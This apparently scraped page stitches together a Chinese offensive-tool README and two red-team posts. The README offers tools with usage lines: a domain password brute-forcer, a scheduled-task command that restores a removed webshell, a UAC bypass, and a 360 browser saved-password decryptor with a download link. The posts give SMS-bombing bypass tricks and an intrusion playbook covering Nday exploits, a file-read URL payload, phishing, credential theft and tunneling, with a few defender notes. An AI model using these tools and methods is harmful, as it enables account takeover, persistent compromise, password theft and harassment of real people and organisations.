域用户密码有强度要求，则尝试爆破强弱口令。例如：P@ssw0rd、1qaz@WSX等

2. 工具的使用

Usage: BlastDomainUserPwd.exe <domainComputerIp> <domainUser.txt> <password> <t_num>
       BlastDomainUserPwd.exe \\192.168.52.29 domainUser.txt password 100
       BlastDomainUserPwd.exe \\域机器IP 域用户名字典 尝试爆破的密码 多线程数目

域用户名字典格式规范：域名\域用户名

domain\user

u5mtfuyta0d14156.png  

运行实例： BlastDomainUserPwd.exe \\192.168.52.2 domainUser.txt 1qaz@WSX 3

vx4he3loyxl14157.jpg

成功爆破出的域用户密码保存在当前目录的success.txt文本里

 

nbjejvdrnia14158.png  

 

0ctkx5pp2jx14159.png

0x09. SchtaskBackDoorWebshell

功能：计划任务维持webshell

1. 适用场景：

护网中被防守方发现webshell，并清除出去，漏洞也被修复，然后网站恢复后不能再上传webshell时，通过计划任务重写webshell。

2. 条件：

管理员权限，因为创建计划任务得需要管理员权限

3. 使用方法：

xxxx.exe c:\wwww\upload\1.jsp

4. 实现过程：

将c:\wwww\upload\1.jsp内容复制到c:\windows\temp\tempsh.txt里，然后创建了一个计划任务，执行的命令是c:\windows\system32\cmd.exe /c copy c:\windows\temp\tempsh.txt c:\wwww\upload\1.jsp，每半小时触发一次。

5. 视频展示：

xfsfunuruwv14173.gif

0x10. regeditBypassUAC

功能：过uac执行exe，编译好的exe只适用于win10，win7不行

1. 具体过程

基于白名单程序注册表bypassUAC

2. 视频演示

2oyjf5vellk14180.jpg  

0x11. delegationVul

功能：检测内网域的约束委派

1. 约束委派利用

约束委派利用

2. 视频演示

a1q0ww0ews114185.jpg

3. 基于资源的约束委派利用

基于资源的约束委派利用

4. 视频演示

 

xbsxv5xw5os14188.jpg  

 

0x12. 360SafeBrowserDecrypt

功能：

直接在目标机器上运行，但是不免杀
360SafeBrowserDecrypt.exe

将目标的机器id和assis2.db数据库拖回到本地解密
查机器id:
reg query "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY" /v "MachineGuid"
查360安全浏览器安装目录: 
reg query "HKCR\360SeSES\DefaultIcon"
默认的assis2.db数据库目录:
C:\Users\xxxxxxx\AppData\Roaming\360se6\User Data\Default\apps\LoginAssis

本地运行:
360SafeBrowserDecrypt.exe xxx-xxx-xxx-xxx assis2.db
ztikat1xwjk14193.png 
结果显示:
有收藏夹的url和保存密码的url

文章中所用到工具：  链接：https://pan.baidu.com/s/1bKo-srQJMWgpQt5mPCFPfA  提取码：ryzx

ep4isrda0gd14205.jpg

分析文章：动态调试360安全浏览器获取密钥

 

原文链接： https://github.com/SkewwG/domainTools         hh4wm2qszqa14206.jpg

 

 

HireHackking
在测试甲方业务或者挖 SRC 等业务的时候，经常碰到发送短信验证的地方，我们可以联想到的就是任意用户登陆、短信轰炸、任意用户修改密码等逻辑性的漏洞， 简单的漏洞也是需要清晰的思维分析，拿几个短信轰炸多个绕过案例分享，高危挖不动低危拿来凑。
1. 参数污染绕过
参数污染，就是说后台发送短信的时候会取数字那部分，当你混入其他字符之后绕过了对已经发送的手机号码的限制的校验：nkenvbvhmcc14122.jpg2. 变量污染绕过
所谓变量污染呢， 大概因为后台校验了第一个变量的内容都当成了值处理，但是当数据包在传递到后台过去的时候，如果参数名是一样的时候，是会以第二个、第三个、第四个…最后那个参数为基准去传递，因此绕过了后台的限制njyobezzqof14123.jpgocklkeisrsf14124.jpg

3. 数据长度绕过
手机号码的定义是 11 位数，但是后台没有对传递的手机号码做校验长度，比如123=0123=00123，通过该方法来进行一个手机号码的绕过： 【狗的一个漏洞】5nbjsrecjlq14126.jpg【找不到图片了】

4. 修改变量参数绕过
比较常见就是发送验证码的时候前端带入一个状态，通过修改这个状态可以来绕过系统的限制，如已注册的用户不能发送短信或者相反未注册的用户不能发送短信
Flase 改成 truehq5lak4qmdn14127.jpg


5. Cookie 替换绕过
换汤不换药，校验用户的凭证放在了 cookie 中，通过修改 cookie 中的某些参数可以打到绕过对以发送/已注册的手机号码进行发送短信：dy5sc53kmx214128.jpgyxk0ypxtrfr14129.jpg
6. 【空格绕过短信轰炸】【无图】
发送短信的时候是 11 位数，但是数据库没有限制字段长度为 11，通过添加空格绕过了原有的校验，但是后台发送号码的时候，取有效字符前面的字段，导致了出现被绕过的方法。

7. 【验证码可复用导致短信轰炸漏洞】【无图】
在吃了用户名爆破或者密码爆破漏洞亏之后，加入了验证码的校验，但是验证码在发送的时候抓包不放行， 验证码不会失效，引起的短信轰炸漏洞。
8. 【基于 API 接口绕过】 【无图】
这一个漏洞的话， 一般是前台输入手机号码， 发送请求 1 到后台判断是否可以执行发送请求
2， 否的话返回 False 或者 error， 成功的话返回一个 true 或者 success， 只要找到返回的这
个接口， 说不定也可以找到这种漏洞。
HireHackking

日常流程简要说明

入口权限 => 内网搜集/探测 => 免杀提权[非必须] => 抓取登录凭证 => 跨平台横向 => 入口维持 => 数据回传 => 定期权限维护

0x01 入口权限获取 [ 前期侦察，搜集阶段本身就不存在太多可防御的点，非防御重心 ]

1.绕CDN找出目标所有真实ip段
(1).通过全国多个PING，查看IP地址是否唯一来判断是否存在CDN
http://ping.chinaz.com/
https://tools.ipip.net/ping.php
https://www.17ce.com/
https://www.cdnplanet.com/tools/cdnfinder/
(2).通过之前的DNS绑定历史记录来查找真实IP地址
https://x.threatbook.cn/
https://viewdns.info/
https://www.ip138.com/
http://toolbar.netcraft.com/site_report?url=
https://securitytrails.com/
(3).通过获取多个子域名，并批量对多个子域名进行ping，可判断该子域名的IP段就是真实IP段（主站用了CND，而子域名分站不用Cdn解析）
Layer子域名挖掘机/GoogleHacking
https://phpinfo.me/domain/
http://tool.chinaz.com/subdomain/
https://github.com/lijiejie/subDomainsBrute
(4).利用SSL证书寻找真实原始IP
https://censys.io/
https://crt.sh/
(5).使用国外主机解析域名
https://asm.ca.com/zh_cn/ping.php
https://asm.saas.broadcom.com/zh_cn/register.php
https://dnscheck.pingdom.com
(6).网站漏洞查找如phpinfo或者github敏感信息泄露或者Apache status和Jboss status敏感信息泄露、网页源代码泄露、svn信息泄露信、github信息泄露
(7).网站邮件订阅查找
RSS邮件订阅，很多网站都自带 sendmail，会发邮件给我们，此时查看邮件源码里面就会包含服务器的真实 IP 了。
(8).入侵CDN，通过漏洞或者或者社工弱口令进入。
(9).通过ZMAP和Zgrab全网扫描获取真实IP
获取IP段：
https://www.ip2location.com/free/visitor-blocker
https://www.ipdeny.com/ipblocks/
https://www.t00ls.net/articles-40631.html(Zgrab)
https://levyhsu.com/2017/05/%e5%88%a9%e7%94%a8zgrab%e7%bb%95cdn%e6%89%be%e7%9c%9f%e5%ae%9eip/
http://bobao.360.cn/learning/detail/211.html(ZMAP)
(10).网络空间安全引擎搜索
钟馗之眼：https://www.zoomeye.org
Shodan：https://www.shodan.io
Fofa：https://fofa.s
(11).奇特的 ping
如ping www.163.com，如果ping 163.con就可以绕过
(12).可以ping以前的旧的域名
(13).F5 LTM解码法
当服务器使用F5 LTM做负载均衡时，通过对set-cookie关键字的解码真实ip也可被获取，例如：Set-Cookie: BIGipServerpool_8.29_8030=487098378.24095.0000，先把第一小节的十进制数即487098378取出来，然后将其转为十六进制数1d08880a，接着从后至前，以此取四位数出来，也就是0a.88.08.1d，最后依次把他们转为十进制数10.136.8.29，也就是最后的真实ip
2.找目标的各种Web管理后台登录口
(1)批量抓取目标所有真实C段 Web banner
工具：iisput
(2).批量对目标所有真实C段进行基础服务端口扫描探测识别
工具：御剑端口扫描，Goby
(3).尝试目标DNS是否允许区域传送,如果不允许则继续尝试子域爆破
DNS域传输：
C:\Users\lj>nslookup
默认服务器:  UnKnown
Address:  211.82.100.1
> server dns1.thnu.edu.cn
默认服务器:  dns1.thnu.edu.cn
Address:  125.223.168.5
> ls thnu.edu.cn
子域名爆破：
Layer
(4).批量抓取目标所有子域 Web banner
Layer
（5）、批量对目标所有子域集中进行基础服务端口探测识别
工具：御剑端口扫描，Goby
（6）批量识别目标所有存活Web站点的Web程序指纹及其详细版本
https://github.com/EdgeSecurityTeam/EHole
https://github.com/zhzyker/vulmap 
http://finger.tidesec.com/
http://whatweb.bugscaner.com/look/
https://fp.shuziguanxing.com/#/
https://www.yunsee.cn/
（6）从 Git 中查找目标泄露的各类 敏感文件 及 账号密码,偶尔甚至还能碰到目标不小心泄露的各种云的 "AccessKey"
https://github.com/0xbug/Hawkeye
https://github.com/FeeiCN/GSIL
（6）从网盘/百度文库 中查找目标泄露的各类 敏感文件 及 账号密码
http://www.daysou.com/(网盘搜索） 
（7）从各第三方历史漏洞库中查找目标曾经泄露的 各种敏感账号密码 [ 国内目标很好使 ]
https://www.madebug.net/
(8)目标Svn里泄露的各类 敏感文件
工具：Seay SVN漏洞利用工具
（9）网站目录扫描 [ 查找目标网站泄露的各类敏感文件, 网站备份文件, 敏感配置文件, 源码 , 别人的webshell, 等等等...]
 工具：御剑目录，dirsearch
https://github.com/foryujian/yjdirscan
https://github.com/maurosoria/dirsearch 
(10)目标站点自身在前端代码中泄露的各种敏感信息
(11)fofa / shodan / bing / google  hacking 深度利用
(12)搜集目标 学生学号 / 员工工号 / 目标邮箱 [ 并顺手到各个社工库中去批量查询这些邮箱曾经是否泄露过密码 ]
学生学号官网网站以及贴吧论坛收集，员工工号到官网网站或者社工库和github上搜索
（13）目标自己对外提供的各种 技术文档 / wiki 里泄露的各种账号密码及其它敏感信息
（14）目标微信小程序以及公众号
（15）分析目标app Web请求
（16）借助js探针搜集目标内网信息
（17）想办法混入目标的各种 内部QQ群 / 微信群
（18）分析目标直接供应商 [尤其是技术外包]
（19）根据前面已搜集到的各类信息制作有针对性的弱口令字典
https://xsshs.cn/xss.php?do=pass
（20）目标所用 Waf 种类识别 与 绕过
https://github.com/EnableSecurity/wafw00f（waf识别） 
（21）BypassWAF 文件上传 / 读取 / 下载
（22） BypassWAF Sql注入
（23） BypassWAF RCE
（24） BypassWAF 各类Java Web中间件已知Nday漏洞利用
（25）BypassWAF Webshell 免杀
	
其它更多 , 待补充修正...

0x02 入口权限获取 [ 外部防御重心 ( "重中之重" ) ]
此阶段,主要是针对各主流 "中间件 + 开源程序 + Web服务组件" 自身的各种已知Nday漏洞利用
如下已按 "实际攻击利用的难易程度" 及 "获取到的shell权限高低" 为标准进行了详细排序,由于完全以实战利用为导向
故,仅仅只挑选了一些相对会经常遇到的,且实战中确实能有效协助快速getshell 的 "中间件" , "开源程序" 及 "web组件"

针对各类Java中间件的各种已知Nday漏洞利用
不同于其它脚本类web程序,Java的运行权限通常都比较高,甚至大部分都是直接用root/administrator/system权限在跑
所以拿到的shell权限一般也非常高,通常都直接是服务器权限
尤其是在各种红队场景中,入侵者一般也都会首选这些点,并以此为突破口来获取一个稳定的跳板机入口权限
关于到底哪些行业特别爱用哪些中间件,这些也应该都是有事先分析梳理汇总好的

  • Struts2
Struts2-005
Struts2-008
Struts2-009
Struts2-013
Struts2-016(实际上,很多都老系统都漏补了这个洞,成功率较高)
Struts2-019
Struts2-020
Struts2-devmode
Struts2-032
Struts2-033
Struts2-037
Struts2-045
Struts2-046
Struts2-048
Struts2-052
Struts2-053
Struts2-057

利用工具：
https://github.com/HatBoy/Struts2-Scan
  • weblogic
CVE-2019-2725
CVE-2019-2729
CVE-2018-3191
CVE-2018-2628
CVE-2018-2893
CVE-2018-2894
CVE-2017-3506
CVE-2017-10271
CVE-2017-3248
CVE-2016-0638
CVE-2016-3510
CVE-2015-4852
CVE-2014-4210

SSRF
控制台弱口令,部署webshell

工具检查和漏洞利用：
https://github.com/0xn0ne/weblogicScanner（工具检查）
https://github.com/zhzyker/exphub/tree/master/weblogic （工具利用） 
  • Jboss
CVE-2015-7501
CVE-2017-7504
CVE-2017-12149

未授权访问,部署webshell
控制台弱口令,部署webshell

利用工具：
https://github.com/joaomatosf/jexboss
https://github.com/joaomatosf/JavaDeserH2HC
  • wildfly [ jboss 7.x 改名为 wildfly ]
控制台弱口令,部署webshell

  • Tomcat
CVE-2016-8735
CVE-2017-12615 [ readonly 实际设为 true的情况较少,稍鸡肋 ]
CVE-2020-1938 [ AJP协议漏洞, 直接把8009端口暴露在外网的不太多,稍鸡肋 ]

控制台弱口令,部署webshelll [ 注: 7.x版本后,默认加了防爆机制 ]

漏洞利用总结：
https://blog.csdn.net/weixin_42918771/article/details/104844367
https://mp.weixin.qq.com/s/ZXoCJ9GhMaTvVFeYn8vMUA
https://saucer-man.com/information_security/507.html#cl-11  
  • Jekins
CVE-2018-1999002 [任意文件读取]

未授权访问,任意命令执行
控制台弱口令,任意命令执行

漏洞利用总结：
https://www.cnblogs.com/junsec/p/11593556.html
https://misakikata.github.io/2020/03/Jenkins%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88%E5%A4%8D%E7%8E%B0/
https://github.com/gquere/pwn_jenkins 
  • ElasticSearch
CVE-2014-3120 [专门针对老版本(无沙盒)RCE]
CVE-2015-1427 [Groovy RCE]
CVE-2015-3337 [任意文件读取]

未授权访问,敏感信息泄露

漏洞总结：
https://jishuin.proginn.com/p/763bfbd3aa0d
https://mp.weixin.qq.com/s?__biz=MzAwMjgwMTU1Mg==&mid=2247484799&idx=2&sn=b91f5bc7a31f5786a66f39599ea44bff
https://blog.csdn.net/u011066706/article/details/51175761  
https://www.cnblogs.com/AtesetEnginner/p/12060537.html 
  • RabbitMQ
弱口令
默认账号密码都是guest/guest(默认端口：15672，25672,15692）
  • Glassfish
任意文件读取 [ 低版本 ]
控制台弱口令,部署webshell

漏洞利用：
http://ip:port/theme/META-INF/%c0.%co./%c0.%co./%c0.%co./%c0.%co./%c0.%co./xxxpath/xxxfile
  • IBM Websphere
Java 反序列化
控制台弱口令,部署webshell

漏洞利用
https://www.lxhsec.com/2019/03/04/middleware/
https://wiki.96.mk/Web%E5%AE%89%E5%85%A8/WebSphere/CVE-2020-4643%20IBM%20WebSphere%E5%AD%98%E5%9C%A8XXE%E5%A4%96%E9%83%A8%E5%AE%9E%E4%BD%93%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/
https://github.com/Ares-X/VulWiki
https://xz.aliyun.com/t/8248   
  • Axis2
任意文件读取
目录遍历

漏洞利用：
https://xz.aliyun.com/t/6196
https://paper.seebug.org/1489/#23-axis2
https://wiki.96.mk/Web%E5%AE%89%E5%85%A8/Apache%20Axis/%EF%BC%88CVE-2019-0227%EF%BC%89Apache%20Axis%201.4%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/
https://github.com/CaledoniaProject/AxisInvoker
https://github.com/Fnzer0/Axis-RCE
https://paper.seebug.org/1489/      
  • Apache ActiveMQ
未授权访问,5.12 之前的版本 fileserver存在 PUT任意写
CVE-2015-5254

漏洞利用：
http://wiki.sentrylab.cn/0day/ActiveMQ/3.html
https://www.freebuf.com/column/161188.html
https://www.taodudu.cc/news/show-2345492.html   
  • Apache Solr
CVE-2017-12629
CVE-2019-0193 [ Apache Solr 5.x - 8.2.0 ]

漏洞利用：
https://xz.aliyun.com/search?keyword=Solr
https://www.jianshu.com/p/43e7f13e2058
https://caiqiqi.github.io/2019/11/03/Apache-Solr%E6%BC%8F%E6%B4%9E%E5%90%88%E9%9B%86/
https://cloud.tencent.com/developer/article/1810723   
http://wiki.peiqi.tech/PeiQi_Wiki/Web%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%BC%8F%E6%B4%9E/Apache/Apache%20Solr/?h=Apache%20Solr 
  • Apache Zookeeper
未授权访问,敏感信息泄露

  • Apache Shiro反序列化
  • fastjson <= 1.2.47 反序列化利用
针对各类Windows php集成环境 [ 由于此类环境拿到的Webshell权限相对较高,所以,通常也是红队人员的首选突破口 ]
AppServ
Xampp
宝塔
PhpStudy		
......

针对各类开源程序的 已知Nday漏洞利用
Dedecms 	后台弱口令,系列已知nday漏洞利用
thinkphp 5.x 	后台弱口令,系列已知nday漏洞利用
phpcms 		后台弱口令,系列已知nday漏洞利用
ecshop 		后台弱口令,系列已知nday漏洞利用
Metinfo 	后台弱口令,系列已知nday漏洞利用
discuz 		后台弱口令,系列已知nday漏洞利用
帝国cms 	后台弱口令,系列已知nday漏洞利用
phpmyadmin 	数据库弱口令,系列已知nday漏洞利用
wordpress 	后台弱口令,系列已知nday漏洞利用
joomla 		后台弱口令,系列已知nday漏洞利用
drupal 		CVE-2018-7600 ,后台弱口令,系列已知nday漏洞利用
......

针对其它各类Web组件的 已知Nday漏洞利用
  • IIS 6.0 RCE
短文件漏洞
PUT 任意写
Webdav RCE CVE-2017-7269

  • 禅道项目管理系统
SQL注入
文件读取
远程执行

  • 通达OA
SQL注入
任意上传

  • Exchange
利用接口进行邮箱用户名枚举
针对各个接口的弱口令爆破
CVE-2020-0688 [ 利用前提是需要先得有任意一个邮箱用户权限 ]
....

  • Zimbra [ XXE + SSRF => RCE ]
CVE-2013-7091
CVE-2016-9924
CVE-2019-9670

  • Citrix
CVE-2019-19781

  • Jumpserver
身份验证绕过

  • Zabbix
CVE-2017-2824
SQL注入 [ 2.0 老版本 ]
控制台弱口令,敏感机器信息泄露

  • Cacti
低版本 SQL注入
控制台弱口令

  • Nagios
CVE-2016-9565
控制台弱口令

  • Webmin RCE
CVE-2019-15107 

  • PHPMailer
CVE-2016-10033

  • 泛微OA远程代码执行
  • 金蝶OA SQL注入
  • Coremail 敏感文件泄露
  • UEditor 任意文件上传
  • OpenSSL心脏滴血抓明文账号密码 [ Heartbleed ]
  • 破壳漏洞 [ Shellshock ]
各种能快速getshell的常规基础Web漏洞利用 [ 注: 有些漏洞在不审代码的情况下其实是很难有效盲测到的 ]
后台弱口令
SSRF
sql注入
越权
命令 / 代码执行 / 反序列化
任意文件上传 / 下载 / 读取
包含
XSS（实际上,XSS只有在针对某些特定邮箱,手里有浏览器0day时价值才会比较大,红队场景下其实并不是非常致命)
业务逻辑漏洞

针对各类边界网络设备的各种利用,主要是Web管理控制台登录弱口令 及 各类已知nday攻击利用
  • Pulse Secure VPN
CVE-2019-11510 [ 任意文件读取 ]

  • Fortinet VPN
CVE-2018-13379 [ 文件读取 ]

  • Sangfor Vpn RCE
0x03 入口权限获取 [ 专门针对各类基础服务端口的各种getshell利用，防御重点 ( "重中之重" ) ]
此处仅仅只挑选了一些实战中真正能协助快速getshell的服务,其它的一些相对边缘性的服务均未提及 
同样,已按 "实际攻击利用的难易程度" 及 "获取到的shell权限高低" 为标准进行了详细排序
如下,就每个端口的具体攻击利用方式,进行了简要说明

  • Top Port List
Mssql 	  [ 默认工作在tcp 1433端口, 弱口令, 敏感账号密码泄露, 提权, 远程执行, 后门植入 ]
SMB       [ 默认工作在tcp 445端口, 弱口令, 远程执行, 后门植入 ]
WMI       [ 默认工作在tcp 135端口, 弱口令, 远程执行, 后门植入 ]
WinRM	  [ 默认工作在tcp 5985端口, 此项主要针对某些高版本Windows, 弱口令, 远程执行, 后门植入 ]
RDP       [ 默认工作在tcp 3389端口, 弱口令, 远程执行, 别人留的shift类后门 ]
SSH       [ 默认工作在tcp 22端口, 弱口令, 远程执行, 后门植入 ]
ORACLE    [ 默认工作在tcp 1521端口, 弱口令, 敏感账号密码泄露, 提权, 远程执行, 后门植入 ]
Mysql     [ 默认工作在tcp 3306端口, 弱口令, 敏感账号密码泄露, 提权(只适用于部分老系统) ]
REDIS	  [ 默认工作在tcp 6379端口, 弱口令, 未授权访问, 写文件(webshell,启动项,计划任务), 提权 ]
POSTGRESQL[ 默认工作在tcp 5432端口, 弱口令, 敏感信息泄露 ]
LDAP      [ 默认工作在tcp 389端口, 未授权访问, 弱口令, 敏感账号密码泄露 ]
SMTP      [ 默认工作在tcp 25端口, 服务错误配置导致的用户名枚举漏洞, 弱口令, 敏感信息泄露 ]
POP3      [ 默认工作在tcp 110端口, 弱口令, 敏感信息泄露 ]
IMAP      [ 默认工作在tcp 143端口, 弱口令, 敏感信息泄露 ]
Exchange  [ 默认工作在tcp 443端口, 接口弱口令爆破 eg: Owa,ews,oab,AutoDiscover... pth脱邮件, 敏感信息泄露 ... ]
VNC       [ 默认工作在tcp 5900端口, 弱口令 ]
FTP       [ 默认工作在tcp 21端口, 弱口令, 匿名访问/可写, 敏感信息泄露 ]
Rsync     [ 默认工作在tcp 873端口, 未授权, 弱口令, 敏感信息泄露 ]
Mongodb   [ 默认工作在tcp 27017端口, 未授权, 弱口令 ]
TELNET    [ 默认工作在tcp 23端口, 弱口令, 后门植入 ]
SVN       [ 默认工作在tcp 3690端口, 弱口令, 敏感信息泄露 ]
JAVA RMI  [ 默认工作在tcp 1099端口, 可能存在反序列化利用 ]
CouchDB   [ 默认工作在tcp 5984端口, 未授权访问 ]

0x04 入口权限获取
传统钓鱼攻击利用，实际护网场景中用的非常频繁，细节非常多，此处不一一列举，防御重点
  • 发信前期准备
枚举有效的目标邮箱用户名列表
批量探测目标邮箱弱口令
伪造发信人 [ 发信邮服搭建 ]
钓鱼信 [ 针对不同行业一般也都会事先准备好各种各样的针对性的发信话术模板,以此来提到实际发信成功率 ]
......

  • 典型投递方式
第一种,直接给目标发送各种常规木马信 

传统宏利用
捆绑
exe[zip,7z]
lnk
chm
自解压
木马链接
OLE
CVE-2017-11882 [ 利用漏洞触发 ]
...

第二种,给目标发送各种钓鱼链接,比如, 利用各种目标登录口的钓鱼页面来窃取各种内网账号密码 

Vpn
Mail
OA
Net ntlm hash [ 远程模板注入,pdf...钓hash,国内ISP过滤SMB流量不适用 ]
......

0x05 主机安全 [ 提权利用，防御重点 ]
以下只单独挑了一些在 通用性, 稳定性, 易用性, 实际成功率 都相对较好的洞 和 方式 其它的一些"边缘性"的利用都暂未提及

  • Windows 系统漏洞 本地提权 [ 成功的前提是,保证事先已做好各种针对性免杀 ]
BypassUAC [ win7 / 8  / 8.1 / 10 ]
MS14-058[KB3000061]				    [重点]
MS14-068[KB3011780]				    [重点]
ms15-051[KB3045171]				    [重点]
MS15-077[KB3077657]				    [重点]
MS16-032[KB3124280]				    [重点]
ms16-075					    [重点]
MS16-135[KB3199135]				    [重点]
MS17-010[KB4013389]				    [重点]
cve-2019-0708					    [重点]
CVE-2019-0803					    [重点]
CVE-2019-1322 & CVE-2019-1405			    [重点]
cve-2019-12750 [ 赛门铁克(用的较多)本地提权 ]	    [重点]		

  • linux 内核漏洞 本地提权 [ linux-exploit-suggester ]
CVE-2016-5195					    [重点]
CVE-2017-16995
CVE-2019-13272

  • 利用各类第三方服务 / 软件工具提权
Mssql 						    [重点]
Oracle         					    [重点]
Mysql
各类第三方软件dll劫持 				    [重点]
suid权限                        
计划任务
各种错误服务配置利用

0x06 内网安全 [ 敏感信息搜集，防御重点，可在此项严格限制各种系统内置命令执行 ]
  • 搜集当前已控"跳板机"的各类敏感信息
注: 如下某些操作肯定是需要事先自己想办法先拿到管理权限后才能正常进行的,此处不再赘述

查看当前shell权限 及 详细系统内核版本
获取当前系统的 详细ip配置,包括 所在域, ip, 掩码, 网关, 主备 dns ip
获取当前系统最近的用户登录记录
获取当前用户的所有命令历史记录 [ 主要针对linux,里面可能包含的有各类敏感账号密码,ip,敏感服务配置... ]
获取本机所有 服务/进程 [包括各个进程的详细权限,也包括目标系统中的可疑恶意进程(有可能是同行的马)]/端口/网络连接信息
获取本机所用杀软 / 监控种类 [ 后续好针对性的做免杀 ]
获取本机 rdp / ssh 端口开启状态 及 其默认端口号
获取本机所有用户的rdp外连记录
获取本机的所有SSH登录记录
获取当前系统所有登录成功的日志 [ 针对windows ]
获取本机所有已安装软件的详细列表 [ 主要为抓密码,提权,留后门做准备 ]
获取本机各个浏览器中保存的 所有书签页 及 历史浏览记录
获取当前用户创建的所有计划任务列表 及 计划任务所对应的执行脚本内容 [ 有些执行脚本中很可能存的有各种连接账号密码 ]
获取当前用户 桌面 及 回收站 里的所有文件列表
获取当前系统的所有存在suid权限的二进制程序
获取当前系统代理 [ ip & 端口 ]
获取当前系统所有的自启动注册表项值
获取当前系统的所有 ipc 连接 及 已启用共享
获取当前系统的所有挂载[mount]
获取当前系统的防火墙状态
获取当前系统所有分区/盘符及其详细使用情况
获取本机的累计开机时长
获取本机arp / dns缓存
获取当前机器环境变量 [ 主要想看看目标机器上有无python,jdk,ruby...等语言的执行环境,后期可设法利用 ]
获取当前系统所有本地用户及组列表
获取当前系统host文件内容
获取当前机器硬件设备信息[ 主要为判断当前机器是否为虚拟机 ]
远程截屏捕捉目标用户敏感操作

由于上述大部分的搜集动作都是基于系统内置工具和接口,故,可完全依靠EDR来实时捕捉各类敏感进程上报恶意操作

  • 利用当前已控 "跳板机", 分析目标内网大致网络拓扑 及 所有关键性业务机器分布
  • 批量抓取内网所有windows机器名 和 所在 "域" / "工作组名" [smb探测扫描]
  • 针对内网的各种高危敏感服务定位["安全" 端口扫描 (在避免对方防护报警拦截的情况下进行各种常规服务探测识别)]
  • 内网批量 Web Banner 抓取,获取关键目标业务系统如下
内网各种文件[共享]服务器
内网各类web服务器  [ 可用于后期留入口 ]
内网各类数据库服务器
内网邮件服务器  [ 可用于后期留入口 ]
内网Vpn服务器  [ 可用于后期留入口 ]
内网各类常规资产状态监控服务器,eg: zabbix,nagios,cacti...
内网各类防护的主控端,比如,防火墙,EDR,态势感知 产品的web主控端...
内网日志服务器
内网补丁服务器
内网各类OA,ERP,CRM,SRM,HR系统... 
内网打印服务器
内网 MES 系统 
内网虚拟化服务器 / 超融合平台 [Vmware ESX]
内网堡垒机...
内网运维,研发 部门员工的机器
内网路由,交换设备...
等等等...

针对以上的各种常规内网探测扫描,其实在流量上都会有非常清晰的表现
通过在一些关键节点设备/服务器上部署探针搜集流量
再配合大数据关联分析查找各种敏感特征,理论上是相对容易发现各类扫描探测痕迹的

  • 针对各类已知系统高危RCE漏洞的批量探测识别与利用
MS08-067 [ 其实,某些特殊行业的系统可能非常老,极少更新,故,还是有存在的可能 ]
MS17-010
CVE-2019-0708

其实针对此类漏洞的攻击利用识别,就显得比较直白了
通过深入分析每种漏洞在实际攻击利用过程所产生的一些典型 流量特征 和 系统日志即可大致判断

0x07 内网安全 [ 各类敏感凭证 "搜集" 与 "窃取" ]
  • 主动密码搜集
注:如下某些操作肯定是需要事先自己想办法先拿到管理权限或者在指定用户权限下才能正常进行的
此处不再赘述, 此项非防御重点, 因为压根也不好防

批量抓取当前机器上的 "各类基础服务配置文件中保存的各种账号密码"
   比如,各种数据库连接配置文件,各类服务自身的配置文件(redis,http basic...)...
想办法 "控制目标 运维管理 / 技术人员 的单机,从这些机器上去搜集可能保存着各类敏感网络资产的账号密码表"
   比如, *.ls,*.doc,*.docx, *.txt....
抓取各类 "数据库客户端工具中保存各种数据库连接账号密码
   比如,Navicat,SSMS[MSSQL自带客户端管理工具,里面也可能保存的有密码(加密后的base64)]

抓取当前系统 "注册表中保存的各类账号密码hash" [ Windows ]
抓取当前系统所有 "本地用户的明文密码/hash" [ Windows & linux ]
抓取当前系统的所有 "用户token" [ Windows ]
抓取 "windows凭据管理器中保存的各类连接账号密码"
抓取 "MSTSC 客户端中保存的所有rdp连接账号密码"
抓取各类 "VNC客户端工具中保存的连接密码"
抓取 "GPP目录下保存的各类账号密码" [ 包括组策略目录中XML里保存的密码hash 和 NETLOGON目录下的某些脚本中保存的账号密码 ]
抓取各类 "SSH客户端工具中保存的各种linux系统连接账号密码", SecureCRT,Xshell,WinSCP,putty
抓取各类 "浏览器中保存的各种web登录密码",Chrome [360浏览器],Firefox,IE,QQ浏览器
抓取各类 "数据库表中保存的各类账号密码hash"
抓取各类 "FTP客户端工具中保存的各种ftp登录账号密码", filezila, xftp...
抓取各类 "邮件客户端工具中保存的各种邮箱账号密码", forxmail, thunderbird...
抓取各类 "SVN客户端工具中保存的所有连接账号密码及项目地址"
抓取各类 "VPN客户端工具中保存的各种vpn链接账号密码"


  • 被动密码搜集 [ 等着管理员自己来送密码 ]
[注: 某些操作肯定是需要事先自己想办法先拿到管理权限后才能正常进行的, 此处不再赘述 , 是防御重点]

Windows SSP [持久化/内存]
Hook PasswordChangeNotify [持久化/内存]
OWA 登录账号密码截获
截获mstsc.exe中输入的rdp连接账号密码
linux 别名记录利用
本机明文密码嗅探 [ http,ftp,pop3... ]
传统键盘记录
windows蓝屏技巧 [ 此操作主要为应对不时之需,比如,搞蓝屏,登管理员登录抓密码 ]

  • Hash爆破:
Hashcat [ 完全拼GPU ] 

0x08 内网安全 [ 内网常用 "隧道"" / "转发"" / "代理"" 穿透手法 提炼汇总 ，防御重点 ]
出网流量刺探
比如,http,dns,以及一些穿透性相对较好的tcp端口... 
这种操作一般都会配合wmi,smb,ssh远程执行,在内网批量快速识别出能出网的机器

常规 HTTP脚本代理
abptts,Neo-reGeorg,reGeorg,tunna,reduh...
不得不说,公开脚本在实战中多多少少都会有些问题,还需要根据自己的实际目标环境深度改进才行

SSH 隧道
加密端口转发,socks 实战用途非常灵活,此处不细说 ]

Rdp 隧道

反向SOCKS
nps, frp, ssf, CobaltStrike(socks4a & rportfwd ), sscoks ... 
工具基本都不免杀了,需要自行处理

正反向TCP 端口转发
非常多,就不一一列举, eg: nginx,netsh,socat,ew....

DNS加密隧道			

Web端口复用

需要明白的是,在一般的红队场景中
入侵者为了尽可能躲避各种检测设备的流量解析,很多此类工具都会采用各种各样的方式来加密传输流量,以此来保证自己有更强的穿透性

0x09 域内网安全 [ 域内常用攻击手法 ( 域渗透 )，提炼汇总，防御重点 ]
  • 针对当前域的一些常规信息搜集[ 其实现实中,只需要一个BloodHound & Pingcastle足矣,就是工具需要自行事先免杀好]
获取当前域内的完整域管列表
获取当前域内的所有域控机器名列表
获取当前域内的所有DNS服务器机器名列表
获取当前域内的所有SPN
获取当前域内的所有OU
获取当前域内的所有用户 & 用户组列表
获取当前域信任关系 [ 跨域渗透 ]
获取当前域内所有机器的开机时间
获取当前域内网段及web站点
